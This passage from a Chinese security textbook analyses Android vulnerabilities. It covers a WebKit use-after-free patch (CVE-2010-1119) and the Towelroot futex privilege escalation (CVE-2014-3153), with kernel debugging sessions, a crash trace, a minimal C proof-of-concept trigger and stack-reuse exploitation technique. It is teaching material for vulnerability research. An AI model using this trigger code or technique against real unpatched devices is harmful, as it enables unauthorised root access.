    {"text": "NodeList数组里包含1个元素，nodes[0]这个节点的textContent值就是“target”，如图10-93所示， 也就是p标签的id属性值，后面会引用到它。 第10章 Android平台漏洞分析 525 图10-92 JavaScript调试 图10-93 nodes[0].textContent值为 “target” 执行第10行代码后，属性节点内容被清空，但NodeList还在，只是长度从1变为0，此时nodes[0] 已不存在，如图10-94所示。 图10-94 NodeList长度由1变0 最后，引用节点nodes[0]获取textContent，但它已被移除，正常情况下是无法读取的，如图10-95 所示。"},
    {"text": "图10-95 引用节点nodes[0]获取textContent导致错误 我们直接看下修复源码的对比情况（由于未找到相应的Android修复对比源码，因此从其他开源 项目提取）： --- NEW FILE qt-everywhere-opensource-src-4.6.3-CVE-2010-1119.patch --- diff -up qt-everywhere-opensource-src-4.6.3/src/3rdparty/webkit/WebCore/dom/Node.cpp.CV E-2010-1119 qt-everywhere-opensource-src-4.6.3/src/3rdparty/webkit/WebCore/dom/Node.cpp --- qt-everywhere-opensource-src-4.6.3/src/3rdparty/webkit/WebCore/dom/Node.cpp.CVE-201 0-1119 2010-06-02 04:03:12.000000000 +0200 526 漏洞战争：软件漏洞分析精要 +++ qt-everywhere-opensource-src-4.6.3/src/3rdparty/webkit/WebCore/dom/Node.cpp 2010-06-15 13:11:55.974470742 +0200 @@ -910,7 +910,10 @@ void Node::notifyLocalNodeListsAttribute if (!data->nodeLists()) return; - data->nodeLists()->invalidateCachesThatDependOnAttributes(); + if (!isAttributeNode()) + data->nodeLists()->invalidateCachesThatDependOnAttributes(); + else + data->nodeLists()->invalidateCaches(); if (data->nodeLists()->isEmpty()) { data->clearNodeLists(); 关 键 出 在 webkit/WebCore/dom/Node.cpp 中 的 Node::notifyLocalNodeListsAttribute 函 数 （ 对 应 Andorid里的Node::notifyLocalNodeListsAttributeChanged），从函数名notifyLocalNodeListsAttributer-Changed看，它应该是在调用attribute.removeChild(nodes[0]) 移除NodeList中的属性节点后被调用的。 补 丁 代 码 在 其 中 添 加 了 对 isAttributeNode 函 数 结 果 的 判 断 ， 即 当 前 为 属 性 节 点 时 ， 改 为 调 用 invalidateCaches，否则调用invalidateCachesThatDependOnAttributes，具体参考Android 2.2.3版本中的 源码：http://androidxref.com/2.2.3/xref/external/webkit/WebCore/dom/Node.cpp#922，如图10-96所示。 图10-96 Node::notifyLocalNodeListsAttribute函数 对比invalidateCaches与invalidateCachesThatDependOnAttributes函数可以发现invalidateCaches最 终还是调用invalidateCachesThatDependOnAttributes，只是调用前添加了几行代码，如图10-97所示。 链接为http://androidxref.com/2.2.3/xref/external/webkit/WebCore/dom/Node.cpp# invalidateCaches。 第10章 Android平台漏洞分析 527 图10-97 对比invalidateCaches 与 invalidateCachesThatDependOnAttributes函数 关于其中m_ChildNodeListCaches与m_tagNodeListCaches的定义可以在http://androidxref.com/2.1/ xref/external/webkit/WebCore/dom/NodeRareData.h#40找到，如图10-98所示。 图10-98 m_ChildNodeListCaches与m_tagNodeListCaches的定义 关 于 reset 函 数 ， 可 以 查 看 http://androidxref.com/2.1/xref/external/webkit/WebCore/dom/ DynamicNodeList.cpp#164，如图10-99所示。"},
    {"text": "图10-99 DynamicNodeList::Caches::reset函数 在PoC中移除的属性节点是个动态节点，它在Caches缓存中创建生成，所以它相对静态节点的访 问速度更快。 在PoC中删除属性节点的代码执行后（NodeList长度变为0），修复代码会清空缓存中 的动态节点列表，使得Cache中的length与item属性失效，导致无法再次引用已删除的节点（node[0]）， 从而有效地防止释放重引用UAF漏洞的发生。"},
    {"text": "528 漏洞战争：软件漏洞分析精要 10.7 CVE-2014-3153 Android内核Futex提权漏洞 （Towelroot） 10.7.1 Android设备Root神器—Towelroot 2014年5月，国外著名iOS越狱黑客comex曝光 Linux内核Futext机制存在提权漏洞CVE-2014-3153， 并提交至HackerOne漏洞奖励平台，后来被“神奇小 子”gethot编写出适用于Android各机型的通用Root 工 具 — “ Towelroot ”（ 如图10-100 所 示， 官网 https://towelroot.com），其影响2014年6月14日之前 发布的Android系统，几乎覆盖Android 4.4及以下各 版本，影响甚广。 10.7.2 通过内核源码调试分析漏洞 在10.3.6节中已经介绍了关于Android内核源码 的调试方法，此处我们就运用该方法分析Towelroot 漏洞。"},
    {"text": "图10-100 Towelroot 表10-3 测试环境 推荐使用的环境 备注 操作系统 Mac OS X 版本号：10.10.5 调试器 arm-linux-androideabi-gdb 版本号：7.3.1-gg2 漏洞程序 Goldfish 内核源码 版本号：3.4 通过Git下载goldfish内核源码时，都是自动下载最新版本，可能已经修复需要调试的漏洞，这时 就 需 要 回 滚 代 码 。 比 如 本 例 Towelroot 漏 洞 是 出 现 在 kernel/futex.c 文 件 上 的 ， 通 过 Google 搜 索 “CVE-2014-3153 patch diff”很容易找到此类信息，包括提交时的commit id，为了回滚到漏洞版本 的代码，可以进入已下载的goldfish目录，然后执行以下命令： cd goldfish git checkout e8c92d268b8b8feb550ca8d24a92c1c98ed65ace kernel/futex.c 上 面 那 串 数 字 是 从 官 方 源 码 的 更 新 记 录 （ 链 接 ： https://android.googlesource.com/kernel/ 第10章 Android平台漏洞分析 529 goldfish.git/+log/android-goldfish-3.4/kernel/futex.c）获取到的，先找到漏洞补丁发布前的一次提交记 录，然后单击进入详情页，在页面上方即可看到那串数字，如图10-101所示。"},
    {"text": "emulator -kernel ./arch/arm/boot/zImage -verbose -debug init -show-kernel -no-boot-anim -no-skin -no-audio -no-window -qemu -s -S 在另一个终端窗口开启GDB远程调试： arm-linux-androideabi-gdb ./vmlinux gdb$ target remote :1234 gdb$ c 接下来，笔者利用Metasploit生成的利用代码进行测试，由于前面已经多次讲过Metasploit生成样 本的方法，因此这里不再赘述。"},
    {"text": "生成利用程序后，将其上传到模拟器中运行： adb push exploit /data/local/tmp/ adb shell root@generic:/ # cd /data/local/tmp root@generic:/data/local/tmp # ./exploit 最后导致内核崩溃，在启动模拟器的窗口可以看到崩溃信息： 530 漏洞战争：软件漏洞分析精要 Unable to handle kernel NULL pointer dereference at virtual address 0000000c pgd = d2230000 [0000000c] *pgd=12215831, *pte=00000000, *ppte=00000000 Internal error: Oops: 17 [#1] PREEMPT ARM CPU: 0 Not tainted (3.4.67-g7fda5cc-dirty #3) PC is at plist_add+0x6c/0xe0 LR is at task_blocks_on_rt_mutex+0xb0/0x1f8 pc : [<c01d57fc>] lr : [<c0053b74>] psr: 00000093 sp : d2239d90 ip : d2235de8 fp : 00000001 r10: 00000001 r9 : d2235de8 r8 : 60000013 r7 : de814b88 r6 : d2239dec r5 : de814b88 r4 : d2239de8 r3 : 0000000c r2 : 0000000c r1 : d220fe20 r0 : 00000083 Flags: nzcv IRQs off FIQs on Mode SVC_32 ISA ARM Segment user Control: 10c53c7d Table: 12230059 DAC: 00000015 …… [<c01d57fc>] ( plist_add +0x6c/0xe0) from [<c0053b74>] (task_blocks_on_rt_mutex+0xb0/0x1f8) [<c0053b74>] ( task_blocks_on_rt_mutex +0xb0/0x1f8) from [<c036f85c>] (rt_mutex_slowlock+0xcc/0x154) [<c036f85c>] ( rt_mutex_slowlock +0xcc/0x154) from [<c0052100>] (futex_lock_pi.isra.9+0x1c8/0x2dc) [<c0052100>] ( futex_lock_pi.isra.9 +0x1c8/0x2dc) from [<c0053300>] (do_futex+0x918/0x9e8) [<c0053300>] ( do_futex +0x918/0x9e8) from [<c00534f4>] (sys_futex+0x124/0x16c) [<c00534f4>] ( sys_futex +0x124/0x16c) from [<c000da80>] (ret_fast_syscall+0x0/0x30) Code: e3a01000 e1a0200c ea000000 e1a02003 (e5923000) ---[ end trace 9f1acfdc11df91b4 ]--- Kernel panic - not syncing: Fatal exception 从栈回溯信息可以看到导致漏洞的一些函数都是跟Futex操作相关的。"},
    {"text": "先简单介绍Futex（Fast Userspace Mutex），它是快速用户空间互斥体的意思，由用户空间和内 核共同完成的同步机制，以防止多个进程/线程同时对同一资源进行操作，从而造成数据不同步的错 误。"},
    {"text": "假设用户A和用户B在不同的地方同时向一张银行卡存钱，卡余额为0元，而此时A与B同时分别 存入1000元和2000元，他们都会先获取余额（均为0元）再加上自己的新存款去更新余额，但无论谁 先完成更新，最后的存款不是1000元，就是2000元，而非3000元。 如果有一种机制帮他们做排序处 理，那么双方获取余额时就不会都是0元了，就会做叠加处理，互斥体就是解决这类问题的。"},
    {"text": "否则会进入内核层进行检测，当有锁在等待中时，就先挂起。 当 需要释放锁时，也先用用户层的glibc判断是否存在等待者，没有就直接释放锁，有就由内核将等待 者唤醒。"},
    {"text": "gdb$ n Error while running hook_stop: No symbol \"disassembly\" in current context. futex_lock_pi_atomic ( uaddr=0xd010 , hb=0xc04d1c08, key=0xd222de9c, ps=0xd222dea8, task=0xd41f7400, set_waiters=0x0) at kernel/futex.c:736 736 if (unlikely(cmpxchg_futex_value_locked(&curval, uaddr, 0, newval))) gdb$ p *curval 第10章 Android平台漏洞分析 535 $1 = 0x0 gdb$ p *uaddr $2 = 0x0 gdb$ p newval $3 = 0x423（相当于线程 ID:1059） gdb$ c Error while running hook_stop: No symbol \"disassembly\" in current context. Breakpoint 7, futex_lock_pi_atomic (uaddr=0xd010, hb=0xc04d1c08, key=0xd222de9c, ps=0xd222dea8,task=0xd41f7400, set_waiters=0x0) at kernel/futex.c:749 749 return 1; gdb$ list 744 745 /* 746 * Surprise - we got the lock. Just return to userspace: 747 */ 748 if (unlikely(!curval)) 749 return 1; 750 751 uval = curval; 752 753 /* gdb$ p *curval $20 = 0x423 gdb$ p *uaddr $21 = 0x423 可以看到Metasploit利用代码中故意将uaddr的值赋值为0，使其能够直接获取锁。 由于uaddr是由 用户空间指定的，不管uaddr是否被锁定，赋值为0即能获取锁，如果再有另一个线程采用同样方法 获取同一地址的锁，那么可以不必调用futex_unlock_pi就释放锁，比如导致一些唤醒等待锁的线程， 修改锁状态等收尾工作未能完成。 通过设置条件断点，可以发现Metasploit利用代码确实两次对地址 0xd010（值为0）调用futex_lock_pi函数触发漏洞，这个问题我们可以称为“ Relock ”问题。 gdb$ info br Num Type Disp Enb Address What 1 breakpoint keep y 0xc0050f5c in futex_lock_pi_atomic at kernel/futex.c:736 stop only if *uaddr==0 breakpoint already hit 2 times 2 breakpoint keep y 0xc0050f98 in futex_lock_pi_atomic at kernel/futex.c:749 breakpoint already hit 2 times 搜索Metasploit中的利用代码也确实可以发现它对同一个值为0的地址uaddr2调用futex_lock_pi获 536 漏洞战争：软件漏洞分析精要 取锁： int uaddr2 = 0; …… ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0); printf(\"futex dm: %d\\n\", ret); …… syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0); …… 回头再看下利用代码，可以发现利用程序除了调用FUTEX_LOCK_PI系统指令外，还使用以下 两个系统调用： #define FUTEX_WAIT_REQUEUE_PI 11 #define FUTEX_CMP_REQUEUE_PI 12 根 据 前 面 do-futex 函 数 的 源 码 可 以 知 道 FUTEX_WAIT_REQUEUE_PI 与 FUTEX_CMP_ REQUEUE_PI分别调用函数futex_wait_requeue_pi与futex_requeue。"},
    {"text": "图10-102 futex_wait_requeue_pi函数 第10章 Android平台漏洞分析 537 图10-103 调用futex_wait_queue_me函数等待自身被唤醒 从futex_wait_requeue_pi函数原型看，它主要用于在uaddr上等待唤醒，通过调用futex_wait_ queue_me函数等待自身被唤醒。 从futex_requeue函数原型看，它主要用于唤醒uaddr1最高优先级的线程，然后将阻塞在uaddr1上 的等待线程转移到uaddr2上，如图10-104所示。 图10-104 futex_requeue函数 分别在futex_wait_requeue_pi与futex_requeue函数上下断点，然后跟进调试。 gdb$ break futex_wait_requeue_pi Breakpoint 1 at 0xc0052214: file kernel/futex.c, line 2284. gdb$ break futex_requeue Breakpoint 2 at 0xc00517bc: file kernel/futex.c, line 1265. gdb$ disable 2 // 由于 futex_requeue 会被断下很多次，因此先禁用 gdb$ c Error while running hook_stop: No symbol \"disassembly\" in current context. Breakpoint 1, futex_wait_requeue_pi ( uaddr=0xd00c , flags=0x1, val=0x0, abs_time=0x0, uaddr2=0xd010 , bitset=0xffffffff) at kernel/futex.c:2284 2284 static int futex_wait_requeue_pi(u32 __user *uaddr, unsigned int flags, gdb$ enable 2 gdb$ finish 538 漏洞战争：软件漏洞分析精要 Error while running hook_stop: No symbol \"disassembly\" in current context. Breakpoint 2, futex_requeue (uaddr1=0xd00c , flags=0x1, uaddr2=0xd010 , nr_wake=0x1, nr_requeue=0x0, cmpval=0xde255f60, requeue_pi=0x1) at kernel/futex.c:1265 1265 { gdb$ finish Error while running hook_stop: No symbol \"disassembly\" in current context. 0xc0053350 in do_futex (uaddr=0xd00c, op=<optimized out>, val=0x0, timeout=<optimized out>, uaddr2=0xd010, val2=0x0, val3=0xd010) at kernel/futex.c:2693 2693 return futex_requeue(uaddr, flags, uaddr2, val, val2, &val3, 1); Value returned is $1 = 0x1 gdb$ c Error while running hook_stop: No symbol \"disassembly\" in current context. Breakpoint 2, futex_requeue ( uaddr1=0xd010 , flags=0x1, uaddr2=0xd010 , nr_wake=0x1, nr_requeue=0x0, cmpval=0xde255f60, requeue_pi=0x1) at kernel/futex.c:1265 1265 { gdb$ finish Error while running hook_stop: No symbol \"disassembly\" in current context. 0xc0053350 in do_futex (uaddr=0xd010, op=<optimized out>, val=0xde255f88, timeout=<optimized out>, uaddr2=0xd010, val2=0x0, val3=0xd010) at kernel/futex.c:2693 2693 return futex_requeue(uaddr, flags, uaddr2, val, val2, &val3, 1); Value returned is $2 = 0xffffffea 整个过程相当于调用以下伪代码后就触发崩溃： futex_wait_requeue_pi (A, B) => 返回 0，表示成功 futex_requeue (A, B) => 返回 1，表示成功 futex_requeue (B, B) => 返回 0xFFFFFFEA，表示失败 （注：A 和 B 代表用户空间地址，futex_requeue 都是在 futex_wait_requeue_pi 返回前执行的，因为它是用 于唤醒 task_blocks_on_rt_mutex 线程的） 前两步是正常的操作流程，最后又多了一步唤醒动作，而且两个操作地址相同。"},
    {"text": "gdb$ c Error while running hook_stop: No symbol \"disassembly\" in current context. Breakpoint 2, futex_requeue (uaddr1=0xd010, flags=0x1, uaddr2=0xd010, nr_wake=0x1, 第10章 Android平台漏洞分析 539 nr_requeue=0x0, cmpval=0xde277f60, requeue_pi=0x1) at kernel/futex.c:1265 1265 { gdb$ set uaddr1=0xd00c gdb$ p uaddr1 $3 = (u32 *) 0xd00c gdb$ finish Error while running hook_stop: No symbol \"disassembly\" in current context. 0xc0053350 in do_futex (uaddr=0xd010, op=<optimized out>, val=0xde277f88, timeout=<optimized out>, uaddr2=0xd010, val2=0x0, val3=0xd010) at kernel/futex.c:2693 2693 return futex_requeue(uaddr, flags, uaddr2, val, val2, &val3, 1); Value returned is $4 = 0x0 我们暂且将这个问题称为“ Requeue ”问题，重复调用futex_requeue本身并没有问题，关键在于 当调用的两个关键地址相同时处理情况会不一样。"},
    {"text": "单纯从上面提到的“Relock”与“Requeue”两个 问题出发，我们还无法直接找到漏洞的根本原因，因为这些都只是触发漏洞的表面现象。 为了透过 现象找到漏洞的本质，我们需要进一步详细分析futex_requeue函数，因为正是它导致内核崩溃的。"},
    {"text": "图10-105 调用futex_proxy_trylock_atomic函数获取锁 540 漏洞战争：软件漏洞分析精要 图10-106 调用rt_mutex_start_proxy_lock函数获取锁 倘若futex_proxy_trylock_atomic函数获取uaddr2锁成功，它会直接返回用户空间，唤醒在uaddr1 上被阻塞的最高优先级线程；"},
    {"text": "倘若rt_mutex_start_proxy_lock函数获取uaddr2锁成功，它会调用requeue_pi_wake_futex函数唤醒 等待的线程，在该函数中将互斥锁的rt_waiter清空，如图10-107所示； 若失败则会将线程阻塞在uaddr2 内核互斥锁上，然后将rt_mutex_waiter加入rt_mutex的waiter_list（依次调用：rt_mutex_start_proxy_lock 函数、task_blocks_on_rt_mutex函数和plist_add函数，如图10-108和图10-109所示），再回头看前面内 核崩溃的栈回溯，是不是与之相似。 图10-107 requeue_pi_wake_futex函数 第10章 Android平台漏洞分析 541 图10-108 rt_mutex_start_proxy_lock函数 图10-109 task_blocks_on_rt_mutex函数 在执行完futex_requeue函数后，futex_wait_requeue_pi函数会被唤醒，继续执行如图10-110所示 的代码，检测rt_waiter函数是否为空，如果图10-107中的代码被执行（即futex_proxy_trylock_atomic 函数成功获取uaddr2锁，清空rt_waiter函数），那么就会走第一个分支，导致未清理rt_waiter函数就 542 漏洞战争：软件漏洞分析精要 返回，并且等待列表里依然连接着rt_waiter函数，线程结束后，就会唤醒等待列表中的等待者，从而 引用栈上未被清理的rt_waiter函数造成崩溃。"},
    {"text": "图10-110 futex_wait_requeue函数 为了验证上面的思路，我们继续用gdb调试内核源码，先设置以下断点： gdb$ info b Num Type Disp Enb Address What 1 breakpoint keep y 0xc0052214 in futex_wait_requeue_pi at kernel/futex.c:2284 2 breakpoint keep y 0xc00517bc in futex_requeue at kernel/futex.c:1265 4 breakpoint keep y 0xc0051f38 in futex_lock_pi at kernel/futex.c:1988 5 breakpoint keep y 0xc0053de4 in rt_mutex_start_proxy_lock at kernel/rtmutex.c:951 6 breakpoint keep y 0xc0053ac4 in task_blocks_on_rt_mutex at kernel/rtmutex.c:395 9 breakpoint keep y 0xc00519ac in futex_requeue at kernel/futex.c:1200 // futex_proxy_trylock_atomic 函数入口，由于无法识别该函数符号，因此对源码行号下断 第10章 Android平台漏洞分析 543 然后，在adb shell里运行触发漏洞的程序后断下： gdb$ disable 2 // 先禁用 futex_requeue 断点，等执行 futex_wait_requeue 后再开启 gdb$ c Error while running hook_stop: No symbol \"disassembly\" in current context. Breakpoint 4, futex_lock_pi (uaddr=0xd010, flags=0x1, time=0x0, trylock=0x0, detect=Unhandled dwarf expression opcode 0xfa ) at kernel/futex.c:1988 1988 * Userspace tried a 0 -> TID atomic transition of the futex value gdb$ x uaddr 0xd010: 0x00000000 gdb$ c Error while running hook_stop: No symbol \"disassembly\" in current context. Breakpoint 1, futex_wait_requeue_pi (uaddr=0xd00c, flags=0x1, val=0x0, abs_time=0x0, uaddr2=0xd010, bitset=0xffffffff) at kernel/futex.c:2284 2284 ) successful lock gdb$ enable 2 // 开启 futex_requeue 断点 gdb$ x uaddr 0xd00c: 0x00000000 gdb$ x uaddr2 0xd010: 0x000001e4 gdb$ c Error while running hook_stop: No symbol \"disassembly\" in current context. Breakpoint 2, futex_requeue (uaddr1=0xd00c, flags=0x1, uaddr2=0xd010, nr_wake=0x1, nr_requeue=0x0, cmpval=0xde24bf60, requeue_pi=0x1) at kernel/futex.c:1265 1265 { gdb$ x uaddr1 0xd00c: 0x00000000 gdb$ x uaddr2 0xd010: 0x000001e4 gdb$ c Error while running hook_stop: No symbol \"disassembly\" in current context. // 由于前面 uaddr2 被锁住，所以调用 futex_proxy_trylock_atomic 获取锁失败，进而调用 rt_mutex_start_proxy_lock => task_blocks_on_rt_mutex，最终返回 0 阻塞在内核互斥体中。 544 漏洞战争：软件漏洞分析精要 Breakpoint 5, rt_mutex_start_proxy_lock (lock=0xde220788, waiter=0xde935e20, task=0xde14f400, detect_deadlock=0x1) at kernel/rtmutex.c:951 951 { gdb$ finish Error while running hook_stop: No symbol \"disassembly\" in current context. Breakpoint 6, task_blocks_on_rt_mutex (lock=0xde220788, waiter=0xde935e20, task=0xde14f400, detect_deadlock=0x1) at kernel/rtmutex.c:395 395 { gdb$ finish Error while running hook_stop: No symbol \"disassembly\" in current context. rt_mutex_start_proxy_lock (lock=0xde220788, waiter=0xde935e20, task=0xde14f400, detect_deadlock=0x1) at kernel/rtmutex.c:963 963 if (ret && !rt_mutex_owner(lock)) { Value returned is $9 = 0x0 // 获取锁失败，阻塞在内核互斥体 gdb$ disable 4 // futex_lock_pi 会被断下很多次，因此先禁用 gdb$ c Error while running hook_stop: No symbol \"disassembly\" in current context. Breakpoint 2, futex_requeue (uaddr1=0xd010, flags=0x1, uaddr2=0xd010, nr_wake=0x1, nr_requeue=0x0, cmpval=0xd6823f60, requeue_pi=0x1) at kernel/futex.c:1265 1265 { gdb$ x uaddr1 0xd010: 0x00000000 // 可以看到此处 uaddr1=uaddr2=0，正是利用 Relock Bug gdb$ x uaddr2 0xd010: 0x00000000 继续执行下去，它会调用futex_proxy_trylock_atomic，执行后返回0，说明它已成功获取锁。"},
    {"text": "gdb$ c Error while running hook_stop: No symbol \"disassembly\" in current context. Breakpoint 9, futex_requeue (uaddr1=0x1, flags=0x1, uaddr2=0xd010, nr_wake=0x0, nr_requeue=0x0, cmpval=0xde24bf60, requeue_pi=0x1) at kernel/futex.c:1351 1351 gdb$ list 1346 * Attempt to acquire uaddr2 and wake the top waiter. If we 1347 * intend to requeue waiters, force setting the FUTEX_WAITERS 1348 * bit. We force this here where we are able to easily handle 第10章 Android平台漏洞分析 545 1349 * faults rather in the requeue loop below. 1350 */ 1351 // 从上面的注释可以知道，下面的函数会去获取 uaddr2 锁，然后再去唤醒等待者 1352 ret = futex_proxy_trylock_atomic(uaddr2, hb1, hb2, &key1, 1353 &key2, &pi_state, nr_requeue); 1354 1355 /* gdb$ list 1356 &key2, &pi_state, nr_requeue); 1357 1358 /* 1359 * At this point the top_waiter has either taken uaddr2 or is 1360 * waiting on it. If the former, then the pi_state will not 1361 * exist yet, look it up one more time to ensure we have a 1362 * reference to it. 1363 */ 1364 if (ret == 1) { 1365 WARN_ON(pi_state); gdb$ b futex.c:1364 gdb$ c Error while running hook_stop: No symbol \"disassembly\" in current context. Breakpoint 10, futex_requeue (uaddr1=0x1, flags=0x1, uaddr2=0xd010, nr_wake=0xde24beac, nr_requeue=0x0, cmpval=0xde24bf60, requeue_pi=0x1) at kernel/futex.c:1364 1364 ave a gdb$ p ret $12 = 0x0 // 利用 Relock Bug 成功获取锁 获得锁后会唤醒futex_wait_requeue_pi线程，我们在图10-109所示的代码处下断点： gdb$ b futex.c:2361 Breakpoint 12 at 0xc0052438: file kernel/futex.c, line 2361. gdb$ c Error while running hook_stop: No symbol \"disassembly\" in current context. Breakpoint 12, futex_wait_requeue_pi (uaddr=0xd00c, flags=<optimized out>, val=0x0, abs_time=<optimized out>, uaddr2=0xd010, bitset=0xffffffff) at kernel/futex.c:2361 gdb$ list 2356 akeup 2357 * race with the atomic proxy lock acquisition by the requeue code. The 2358 * futex_requeue dropped our key1 reference and incremented our key2 2359 * reference count. 2360 */ 2361 546 漏洞战争：软件漏洞分析精要 2362 /* Check if the requeue code acquired the second futex for us. */ 2363 if (!q.rt_waiter) { 2364 /* 2365 * Got the lock. We might not be the anticipated owner if we gdb$ p q.rt_waiter $13 = (struct rt_mutex_waiter *) 0x0 // 所以上面的 if 语句会走第一个分支，导致未清理等待列 表中的 rt_waiter gdb$ p &rt_waiter $23 = (struct rt_mutex_waiter *) 0xde935e20 // rt_waiter 依然保存在栈上 gdb$ p $sp $24 = (void *) 0xde935e00 gdb$ p rt_waiter $25 = {list_entry = {prio = 0x84, prio_list = {next = 0xde937dec, prev = 0xde251dec}, node_list = {next = 0xde220788, prev = 0xde251df4}}, pi_list_entry = {prio = 0x84, prio_list = {next = 0xde935e38, prev = 0xde935e38}, node_list = {next = 0xde935e40, prev = 0xde935e40}}, task = 0xde14f400, lock = 0xde220788 } 上面rt_waiter里的锁0xde220788，就是前面获取失败的锁： Breakpoint 5, rt_mutex_start_proxy_lock ( lock=0xde220788 , waiter=0xde935e20, task=0xde14f400, detect_deadlock=0x1) 由于等待列表中依然保留着rt_waiter的指针，等futex_wait_requeue_pi线程结束后，会回收等待 链表，就会引用到未被清理的rt_waiter，从而造成崩溃。"},
    {"text": "图10-111 漏洞原理图 第10章 Android平台漏洞分析 547 对此，Nativeflow公司的Dany Zutachna在其博客上公布了一份精简的漏洞PoC，通过如下源码应 该更容易理解漏洞的触发过程： #include <stdio.h> #include <unistd.h> #include <pthread.h> #include \"futaux.h\" #include \"userlock.h\" int A = 0, B = 0; volatile int invoke_futex_wait_requeue_pi = 0; volatile pid_t thread_tid = -1; void *thread(void *arg) { thread_tid = gettid(); printf(\"[2]\\n\"); userlock_wait(&invoke_futex_wait_requeue_pi); futex_wait_requeue_pi(&A, &B); printf(\"Someone woke me up\\n\"); while (1) { sleep(1); } } int main(int argc, char *argv[]) { pthread_t t; int context_switch_count = 0; printf(\"[1]\\n\"); futex_lock_pi(&B); userlock_lock(&invoke_futex_wait_requeue_pi); pthread_create(&t, NULL, thread, NULL); /* Wait for the thread to be in a system call */ while (thread_tid < 0) { usleep(10); 548 漏洞战争：软件漏洞分析精要 } context_switch_count = get_voluntary_ctxt_switches(thread_tid); userlock_release(&invoke_futex_wait_requeue_pi); wait_for_thread_to_wait_in_kernel(thread_tid, context_switch_count); printf(\"[3]\\n\"); futex_requeue_pi(&A, &B, A); printf(\"[4]\\n\"); B = 0; printf(\"[5]\\n\"); futex_requeue_pi(&B, &B, B); while (1) { sleep(1); } return 0; } 10.7.3 漏洞利用 完整的漏洞利用代码可以参考：https://github.com/timwr/CVE-2014-3153，其中如何控制栈上的 rt_waiter是完成漏洞利用的关键点，开始讲解前先举个栈内存公用问题的例子，后面需要用它来控制 栈内存。 示例代码如下： #include <stdio.h> void A(int val ) { int local; local = val; printf(\"A localaddr = 0x%x\\n\", &local); } void B() { int local; printf(\"B localaddr = 0x%x\\n\", &local); printf(\"B local = %d\\n\", local); } 第10章 Android平台漏洞分析 549 int main() { A(6); B(); return 0; } 使用GCC编译，-m32编译选项指定编译成32位程序，带上-g选项可以提供调试符号方便调试： riusksk@MacBook ~/Downloads ‹› $ gcc -m32 foo.c -o foo -g riusksk@MacBook ~/Downloads ‹› $ ./foo A localaddr = 0xbff6de70 B localaddr = 0xbff6de70 B local = 6 从执行结果看，A函数与B函数的local局部变量地址都是位于同一个栈地址上的，所以调用完A 函数后再执行B函数就会引用到A“吃剩”的数据，即使没对B函数的local变量设值，它也会直接引 用在A函数设置的值。"},
    {"text": "如果用调试器分析，可以发现A与B两个函数的栈空间其实是一致的（Mac上 出于安全考虑，限制未签名的GDB，不允许调试其他进程，所以这里选用lldb调试器，当然，读者也 可以自定义签名证书给GDB解决该问题）： ╭─riusksk@MacBook ~/Downloads ‹› ╰ ─ ➤ $ lldb foo (lldb) target create \"foo\" Current executable set to 'foo' (i386). (lldb) list 19 { 20 A(6); 21 B(); 22 return 0; 23 } (lldb) br s -f foo.c -l 20 // 命令原型： breakpoint set –f 文件名 –l 行号 Breakpoint 1: where = foòmain + 18 at foo.c:20, address = 0x00001f42 (lldb) br s -f foo.c -l 21 Breakpoint 2: where = foòmain + 33 at foo.c:21, address = 0x00001f51 (lldb) r Process 87931 launched: '/Users/riusksk/Downloads/foo' (i386) Process 87931 stopped * thread #1: tid = 0x20f5e7, 0x00001f42 foòmain + 18 at foo.c:20, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x00001f42 foòmain + 18 at foo.c:20 17 550 漏洞战争：软件漏洞分析精要 18 int main() 19 { -> 20 A(6); 21 B(); 22 return 0; 23 } (lldb) si // 单步跟进 Process 88240 stopped * thread #1: tid = 0x210e32, 0x00001ea0 fooÀ(val=0) at foo.c:4, queue = 'com.apple.main-thread', stop reason = instruction step into frame #0: 0x00001ea0 fooÀ(val=0) at foo.c:4 1 #include <stdio.h> 2 3 void A(int val ) -> 4 { 5 int local; 6 local = val; 7 printf(\"A localaddr = 0x%x\\n\", &local); (lldb) p/x $esp // 查看十六进制寄存器值 (unsigned int) $38 = 0xbfffee6c (lldb) p/x $ebp (unsigned int) $39 = 0xbfffee88 (lldb) c // 继续运行，不能用 r 命令，否则会执行完进程退出，后面不会再断下 Process 88240 resuming A localaddr = 0xbfffee60 Process 88240 stopped * thread #1: tid = 0x210e32, 0x00001f51 foòmain + 33 at foo.c:21, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1 frame #0: 0x00001f51 foòmain + 33 at foo.c:21 18 int main() 19 { 20 A(6); -> 21 B(); 22 return 0; 23 } (lldb) si Process 88240 stopped * thread #1: tid = 0x210e32, 0x00001ee0 foòB at foo.c:12, queue = 'com.apple.main-thread', stop reason = instruction step into frame #0: 0x00001ee0 foòB at foo.c:12 9 10 第10章 Android平台漏洞分析 551 11 void B() -> 12 { 13 int local; 14 printf(\"B localaddr = 0x%x\\n\", &local); 15 printf(\"B local = %d\\n\", local); (lldb) p/x $esp (unsigned int) $40 = 0xbfffee6c (lldb) p/x $ebp (unsigned int) $41 = 0xbfffee88 从调试结果可以看到，A函数与B函数的esp和ebp均使用相同的地址，它们共用着相同的栈空间， 后面我们就用这种方法控制内核栈上的rt_waiter。"},
    {"text": "newroot中利 用代码是调用__sys_sendmmsg函数完成栈空间的重用，漏洞的作者是用Linux内核源码的checkstack.pl 脚本分析栈空间的，但其代码中的正则写得有点问题，需要修改： if ($arch eq 'arm') { #c0008ffc: e24dd064 sub sp, sp, #100 ; 0x64 $re = qr/.*sub.*sp, sp, #(([0-9]{2}|[ 3 -9])[0-9]{2})/o; 修改为： if ($arch eq 'arm') { #c0008ffc: e24dd064 sub sp, sp, #100 ; 0x64 $re = qr/.*sub.*sp, sp, #(([0-9]{2}|[ 1 -9])[0-9]{2})/o; 先在futex_wait_requeue_pi函数处下断点，然后运行利用代码，断下后再运行以下命令，查看相 关函数的栈深度： $arm-linux-androideabi-objdump -d vmlinux |./scripts/checkstack.pl arm …… 0xc0052218 futex_wait_requeue_pi.constprop.10 [vmlinux]:192 0xc026407c sock_sendmsg [vmlinux]: 192 0xc02784cc ethtool_set_rxnfc [vmlinux]: 192 0xc02788d8 ethtool_get_rxnfc [vmlinux]: 192 0xc014fba4 fat_search_long [vmlinux]: 188 0xc01e894c do_fb_ioctl [vmlinux]: 188 0xc0285ce4 netstat_show.isra.13 [vmlinux]: 188 0xc02e6f08 fib_triestat_seq_show [vmlinux]: 188 0xc035af40 rpcb_getport_async [vmlinux]: 188 0xc000fdac 